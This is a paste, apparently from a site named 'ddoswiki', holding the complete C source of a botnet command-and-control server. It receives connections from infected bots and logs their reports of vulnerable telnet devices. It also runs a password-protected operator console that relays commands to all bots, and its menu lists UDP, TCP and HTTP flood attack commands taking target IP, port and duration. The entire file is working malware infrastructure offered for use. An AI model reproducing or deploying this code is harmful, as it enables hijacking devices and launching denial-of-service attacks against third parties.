Advertisement
ddoswiki

Google Server Side

Dec 10th, 2017
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.36 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. ////////////////////////////////////
  16. #define Control_Password ""
  17. #define Control_Title "%c]0;Bots Loaded: %d |www.google.com|Devices: %d | Users Online: %d%c"
  18. #define MAXFDS 1000000
  19. ////////////////////////////////////
  20.  
  21.  
  22. struct account {
  23. char id[20];
  24. char password[20];
  25. };
  26. static struct account accounts[10];
  27.  
  28. struct clientdata_t {
  29. uint32_t ip;
  30. char build[7];
  31. char connected;
  32. } clients[MAXFDS];
  33.  
  34. struct telnetdata_t {
  35. int connected;
  36. } managements[MAXFDS];
  37.  
  38.  
  39.  
  40. ////////////////////////////////////
  41.  
  42.  
  43. static volatile FILE *telFD;
  44. static volatile FILE *fileFD;
  45. static volatile int epollFD = 0;
  46. static volatile int listenFD = 0;
  47. static volatile int managesConnected = 0;
  48. static volatile int TELFound = 0;
  49. static volatile int scannerreport;
  50.  
  51.  
  52. ////////////////////////////////////
  53.  
  54.  
  55. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  56. {
  57. int total = 0, got = 1;
  58. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  59. return got;
  60. }
  61. void trim(char *str)
  62. {
  63. int i;
  64. int begin = 0;
  65. int end = strlen(str) - 1;
  66. while (isspace(str[begin])) begin++;
  67. while ((end >= begin) && isspace(str[end])) end--;
  68. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  69. str[i - begin] = '\0';
  70. }
  71.  
  72.  
  73. static int make_socket_non_blocking (int sfd)
  74. {
  75. int flags, s;
  76. flags = fcntl (sfd, F_GETFL, 0);
  77. if (flags == -1)
  78. {
  79. perror ("fcntl");
  80. return -1;
  81. }
  82. flags |= O_NONBLOCK;
  83. s = fcntl (sfd, F_SETFL, flags);
  84. if (s == -1)
  85. {
  86. perror ("fcntl");
  87. return -1;
  88. }
  89. return 0;
  90. }
  91.  
  92.  
  93. static int create_and_bind (char *port)
  94. {
  95. struct addrinfo hints;
  96. struct addrinfo *result, *rp;
  97. int s, sfd;
  98. memset (&hints, 0, sizeof (struct addrinfo));
  99. hints.ai_family = AF_UNSPEC;
  100. hints.ai_socktype = SOCK_STREAM;
  101. hints.ai_flags = AI_PASSIVE;
  102. s = getaddrinfo (NULL, port, &hints, &result);
  103. if (s != 0)
  104. {
  105. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  106. return -1;
  107. }
  108. for (rp = result; rp != NULL; rp = rp->ai_next)
  109. {
  110. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  111. if (sfd == -1) continue;
  112. int yes = 1;
  113. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  114. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  115. if (s == 0)
  116. {
  117. break;
  118. }
  119. close (sfd);
  120. }
  121. if (rp == NULL)
  122. {
  123. fprintf (stderr, "Could not bind\n");
  124. return -1;
  125. }
  126. freeaddrinfo (result);
  127. return sfd;
  128. }
  129. void broadcast(char *msg, int us, char *sender)
  130. {
  131. int sendMGM = 1;
  132. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  133. char *wot = malloc(strlen(msg) + 10);
  134. memset(wot, 0, strlen(msg) + 10);
  135. strcpy(wot, msg);
  136. trim(wot);
  137. time_t rawtime;
  138. struct tm * timeinfo;
  139. time(&rawtime);
  140. timeinfo = localtime(&rawtime);
  141. char *timestamp = asctime(timeinfo);
  142. trim(timestamp);
  143. int i;
  144. for(i = 0; i < MAXFDS; i++)
  145. {
  146. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  147. if(sendMGM && managements[i].connected)
  148. {
  149. send(i, "\x1b[33m ", 7, MSG_NOSIGNAL);
  150. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  151. send(i, "\x1b[32m Said\x1b[31m: \x1b[36m", 23, MSG_NOSIGNAL); //So we know who's talking shit m8
  152. }
  153. printf("FD: %d\n", i);
  154. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  155. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m/> \x1b[0m", 14, MSG_NOSIGNAL);
  156. else send(i, "\n", 1, MSG_NOSIGNAL);
  157. }
  158. free(wot);
  159. }
  160.  
  161. void *epollEventLoop(void *useless)
  162. {
  163. struct epoll_event event;
  164. struct epoll_event *events;
  165. int s;
  166. events = calloc (MAXFDS, sizeof event);
  167. while (1)
  168. {
  169. int n, i;
  170. n = epoll_wait (epollFD, events, MAXFDS, -1);
  171. for (i = 0; i < n; i++)
  172. {
  173. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  174. {
  175. clients[events[i].data.fd].connected = 0;
  176. close(events[i].data.fd);
  177. continue;
  178. }
  179. else if (listenFD == events[i].data.fd)
  180. {
  181. while (1)
  182. {
  183. struct sockaddr in_addr;
  184. socklen_t in_len;
  185. int infd, ipIndex;
  186.  
  187. in_len = sizeof in_addr;
  188. infd = accept (listenFD, &in_addr, &in_len);
  189. if (infd == -1)
  190. {
  191. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  192. else
  193. {
  194. perror ("accept");
  195. break;
  196. }
  197. }
  198.  
  199. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  200.  
  201. int dup = 0;
  202. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  203. {
  204. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  205.  
  206. if(clients[ipIndex].ip == clients[infd].ip)
  207. {
  208. dup = 1;
  209. break;
  210. }
  211. }
  212.  
  213. if(dup)
  214. {
  215. printf("DUP Client - Terminating\n");
  216. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  217. if(send(infd, "!* DUP\n", 7, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  218. close(infd);
  219. continue;
  220. }
  221.  
  222. s = make_socket_non_blocking (infd);
  223. if (s == -1) { close(infd); break; }
  224.  
  225. event.data.fd = infd;
  226. event.events = EPOLLIN | EPOLLET;
  227. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  228. if (s == -1)
  229. {
  230. perror ("epoll_ctl");
  231. close(infd);
  232. break;
  233. }
  234.  
  235. clients[infd].connected = 1;
  236. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  237. }
  238. continue;
  239. }
  240. else
  241. {
  242. int thefd = events[i].data.fd;
  243. struct clientdata_t *client = &(clients[thefd]);
  244. int done = 0;
  245. client->connected = 1;
  246. while (1)
  247. {
  248. ssize_t count;
  249. char buf[2048];
  250. memset(buf, 0, sizeof buf);
  251.  
  252. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  253. {
  254. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  255. trim(buf);
  256. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  257. {
  258. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  259. continue;
  260. }
  261. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  262. {
  263. char *line = strstr(buf, "REPORT ") + 7;
  264. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  265. fflush(telFD);
  266. TELFound++;
  267. continue;
  268. }
  269. if(strstr(buf, "SCANNER STARTED!") == buf)
  270. {
  271. char *line = strstr(buf, "SCANNER STARTED!");
  272. scannerreport = 1;
  273. continue;
  274. }
  275. if(strstr(buf, "SCANNER STOPPED!") == buf)
  276. {
  277. char *line = strstr(buf, "SCANNER STOPPED!");
  278. scannerreport--;
  279. continue;
  280. }
  281. if(strcmp(buf, "PONG") == 0)
  282. {
  283. continue;
  284. }
  285.  
  286. printf("buf: \"%s\"\n", buf);
  287. }
  288.  
  289. if (count == -1)
  290. {
  291. if (errno != EAGAIN)
  292. {
  293. done = 1;
  294. }
  295. break;
  296. }
  297. else if (count == 0)
  298. {
  299. done = 1;
  300. break;
  301. }
  302. }
  303.  
  304. if (done)
  305. {
  306. client->connected = 0;
  307. close(thefd);
  308. }
  309. }
  310. }
  311. }
  312. }
  313.  
  314. unsigned int clientsConnected()
  315. {
  316. int i = 0, total = 0;
  317. for(i = 0; i < MAXFDS; i++)
  318. {
  319. if(!clients[i].connected) continue;
  320. total++;
  321. }
  322.  
  323. return total;
  324. }
  325.  
  326. void *titleWriter(void *sock)
  327. {
  328. int thefd = (int)sock;
  329. char string[2048];
  330. while(1)
  331. {
  332. memset(string, 0, 2048);
  333. sprintf(string, Control_Title, '\033', clientsConnected(), TELFound, managesConnected, '\007');
  334. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  335.  
  336. sleep(2);
  337. }
  338. }
  339.  
  340. void *telnetWorker(void *sock)
  341. {
  342. char usernamez[80];
  343. int thefd = (int)sock;
  344. int nickisg0d;
  345. int find_line;
  346. managesConnected++;
  347. pthread_t title;
  348. char counter[2048];
  349. memset(counter, 0, 2048);
  350. char buf[2048];
  351. char* nickstring;
  352. char* username;
  353. char* password;
  354. memset(buf, 0, sizeof buf);
  355. char botnet[2048];
  356. memset(botnet, 0, 2048);
  357.  
  358. if(send(thefd, "\x1b[31mUsername: \x1b[37m ", 22, MSG_NOSIGNAL) == -1) goto end;
  359. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  360. trim(buf);
  361. sprintf(usernamez, buf);
  362. nickstring = ("%s", buf);
  363.  
  364. if(send(thefd, "\x1b[36mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  365. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  366. trim(buf);
  367. if(strcmp(buf, Control_Password) != 0) goto failed;
  368. memset(buf, 0, 2048);
  369. goto fak;
  370.  
  371. failed:
  372. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  373. if(send(thefd, "\x1b[37m*************************************\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  374. if(send(thefd, "\x1b[37m* INVALID PASSWORD *\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  375. if(send(thefd, "\x1b[37m* FUCK OFF RETARD, LOGGED *\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  376. if(send(thefd, "\x1b[37m*************************************\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  377. sleep(5);
  378. goto end;
  379. fak:
  380.  
  381. pthread_create(&title, NULL, &titleWriter, sock);
  382. char ascii_banner_line1 [5000];
  383. char ascii_banner_line2 [5000];
  384. char ascii_banner_line3 [5000];
  385. char ascii_banner_line4 [5000];
  386. char ascii_banner_line5 [5000];
  387. char ascii_banner_line6 [5000];
  388. char ascii_banner_line7 [5000];
  389. char ascii_banner_line8 [5000];
  390. char ascii_banner_line9 [5000];
  391. char ascii_banner_line10 [5000];
  392.  
  393. sprintf(ascii_banner_line1, "\x1b[32m ,,\r\n");
  394. sprintf(ascii_banner_line2, "\x1b[34m .g8'''bgd \x1b[32m`7MM\r\n");
  395. sprintf(ascii_banner_line3, "\x1b[34m.dP' `M \x1b[32mMM\r\n");
  396. sprintf(ascii_banner_line4, "\x1b[34mdM' ` \x1b[31m,pW'Wq. \x1b[33m,pW'Wq. \x1b[34m.P'Ybmmm \x1b[32mMM \x1b[31m.gP'Ya\r\n");
  397. sprintf(ascii_banner_line5, "\x1b[34mMM \x1b[31m6W' `Wb \x1b[33m6W' `Wb \x1b[34m:MI I8 \x1b[32mMM \x1b[31m,M' Yb\r\n");
  398. sprintf(ascii_banner_line6, "\x1b[34mMM. `7MMF'\x1b[31m8M M8 \x1b[33m8M M8 \x1b[34mWmmmP' \x1b[32mMM \x1b[31m8M''''''\r\n");
  399. sprintf(ascii_banner_line7, "\x1b[34m`Mb. MM \x1b[31mYA. ,A9 \x1b[33mYA. ,A9 \x1b[34m8M \x1b[32mMM \x1b[31mYM. ,\r\n");
  400. sprintf(ascii_banner_line8, "\x1b[34m `'bmmmdPY \x1b[31m`Ybmd9' \x1b[33m`Ybmd9' \x1b[34mYMMMMMb \x1b[32m.JMML.\x1b[31m`Mbmmd'\r\n");
  401. sprintf(ascii_banner_line9, "\x1b[34m 6' dP\r\n");
  402. sprintf(ascii_banner_line10, "\x1b[34m Ybmmmd'\r\n");
  403.  
  404. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  405. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  411. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  412. if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  413. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, "\r\n\x1b[31m/> \x1b[0m", 15, MSG_NOSIGNAL) == -1) goto end;
  415. pthread_create(&title, NULL, &titleWriter, sock);
  416. managements[thefd].connected = 1;
  417.  
  418. while(fdgets(buf, sizeof buf, thefd) > 0)
  419. {
  420. if(strstr(buf, "!* HELP"))
  421. {
  422. sprintf(botnet, "\x1b[32m!* BOTS \x1b[31m- \x1b[36m Shows bot/user count\x1b[37m\r\n");
  423. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  424. }
  425. if(strstr(buf, "!* HELP"))
  426. {
  427. sprintf(botnet, "\x1b[32m!* STATUS \x1b[31m- \x1b[36m Shows telnet status/devices\x1b[37m\r\n");
  428. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  429. }
  430. if(strstr(buf, "!* HELP"))
  431. {
  432. sprintf(botnet, "\x1b[32m!* COMM \x1b[31m- \x1b[36m Shows the attack commands\x1b[37m\r\n");
  433. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  434. }
  435. if(strstr(buf, "!* HELP"))
  436. {
  437. sprintf(botnet, "\x1b[32m!* CLEAR \x1b[31m- \x1b[36m Clears your screen\x1b[37m\r\n");
  438. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  439. }
  440. if(strstr(buf, "!* HELP"))
  441. {
  442. sprintf(botnet, "\x1b[32m!* CREDITS \x1b[31m- \x1b[36m Shows who this was modded by\x1b[37m\r\n");
  443. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  444. }
  445. if(strstr(buf, "!* STATUS"))
  446. {
  447. sprintf(botnet, "\x1b[32mTelnet devices\x1b[31m:\x1b[36m %d \x1b[31m| \x1b[32mTelnet status\x1b[31m:\x1b[36m %d\x1b[37m\r\n", TELFound, scannerreport);
  448. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  449. }
  450. if(strstr(buf, "!* COMM"))
  451. {
  452. sprintf(botnet, "\x1b[32m!* STD IP PORT TIME \x1b[31m- \x1b[36m UDP Based STD\x1b[37m\r\n");
  453. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  454. }
  455. if(strstr(buf, "!* COMM"))
  456. {
  457. sprintf(botnet, "\x1b[32m!* UDP IP PORT TIME 32 1024 10\x1b[31m- \x1b[36m Basic UDP\x1b[37m\r\n");
  458. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  459. }
  460. if(strstr(buf, "!* COMM"))
  461. {
  462. sprintf(botnet, "\x1b[32m!* TCP IP PORT TIME 32 ack 1024 10\x1b[31m- \x1b[36m Basic TCP\x1b[37m\r\n");
  463. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  464. }
  465. if(strstr(buf, "!* COMM"))
  466. {
  467. sprintf(botnet, "\x1b[32m!* HTTP URL PORT / TIME POWER\x1b[31m- \x1b[36m Godly HTTP\x1b[37m\r\n");
  468. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  469. }
  470. if(strstr(buf, "!* BOTS"))
  471. {
  472. sprintf(botnet, "\x1b[32mBots Loaded\x1b[31m:\x1b[36m %d\x1b[37m\r\n", clientsConnected());
  473. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  474. }
  475. if(strstr(buf, "!* CREDITS"))
  476. {
  477. sprintf(botnet, "\x1b[32mServrer Side Owned By Scars, Created By @dope.server\r\n");
  478. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  479. }
  480. if(strstr(buf, "CLEAR"))
  481. {
  482. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  483. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  484. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  486. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  487. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  488. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  489. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  490. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  491. if(send(thefd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  493. pthread_create(&title, NULL, &titleWriter, sock);
  494. managements[thefd].connected = 1;
  495. }
  496.  
  497. trim(buf);
  498. if(send(thefd, "\x1b[33m/> \x1b[0m", 12, MSG_NOSIGNAL) == -1) goto end;
  499. if(strlen(buf) == 0) continue;
  500. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  501. FILE *logFile;
  502. logFile = fopen("chat.log", "a"); //Mark this out if you dont want to keep logs...
  503. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  504. fclose(logFile);
  505. broadcast(buf, thefd, usernamez);
  506. memset(buf, 0, 2048);
  507. }
  508.  
  509. end: // cleanup dead socket
  510. managements[thefd].connected = 0;
  511. close(thefd);
  512. managesConnected--;
  513. }
  514.  
  515. void *telnetListener(void *useless)
  516. {
  517. int sockfd, newsockfd;
  518. socklen_t clilen;
  519. struct sockaddr_in serv_addr, cli_addr;
  520. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  521. if (sockfd < 0) perror("ERROR opening socket");
  522. bzero((char *) &serv_addr, sizeof(serv_addr));
  523. serv_addr.sin_family = AF_INET;
  524. serv_addr.sin_addr.s_addr = INADDR_ANY;
  525. serv_addr.sin_port = htons(15);//This is the Control_Port so redefine it if you would like to, #define Control_Port 15
  526. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  527. listen(sockfd,5);
  528. clilen = sizeof(cli_addr);
  529. while(1)
  530. {
  531. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  532. if (newsockfd < 0) perror("ERROR on accept");
  533. pthread_t thread;
  534. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  535. }
  536. }
  537.  
  538. int main (int argc, char *argv[], void *sock)
  539. {
  540. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  541.  
  542. int s, threads;
  543. struct epoll_event event;
  544.  
  545. printf("\x1b[37mScreen Started Net up\x1b[32m,\x1b[37m Connect Port\x1b[32m:\x1b[31m 15\x1b[37m\n");//change the 15 to whatever your port is, mine is 15, change this at line 480
  546. telFD = fopen("screen.log", "a+");
  547. threads = atoi(argv[2]);
  548.  
  549. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  550. if (listenFD == -1) abort ();
  551.  
  552. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  553. if (s == -1) abort ();
  554.  
  555. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  556. if (s == -1)
  557. {
  558. perror ("listen");
  559. abort ();
  560. }
  561.  
  562. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't in fact just kill yourself
  563. if (epollFD == -1)
  564. {
  565. perror ("epoll_create");
  566. abort ();
  567. }
  568.  
  569. event.data.fd = listenFD;
  570. event.events = EPOLLIN | EPOLLET;
  571. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  572. if (s == -1)
  573. {
  574. perror ("epoll_ctl");
  575. abort ();
  576. }
  577.  
  578. pthread_t thread[threads + 2];
  579. while(threads--)
  580. {
  581. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  582. }
  583.  
  584. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  585.  
  586. while(1)
  587. {
  588. broadcast("PING", -1, "IM A WANKSTA"); // ping bots every 60 sec on the main thread
  589. sleep(60);
  590. }
  591.  
  592. close (listenFD);
  593.  
  594. return EXIT_SUCCESS;
  595. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement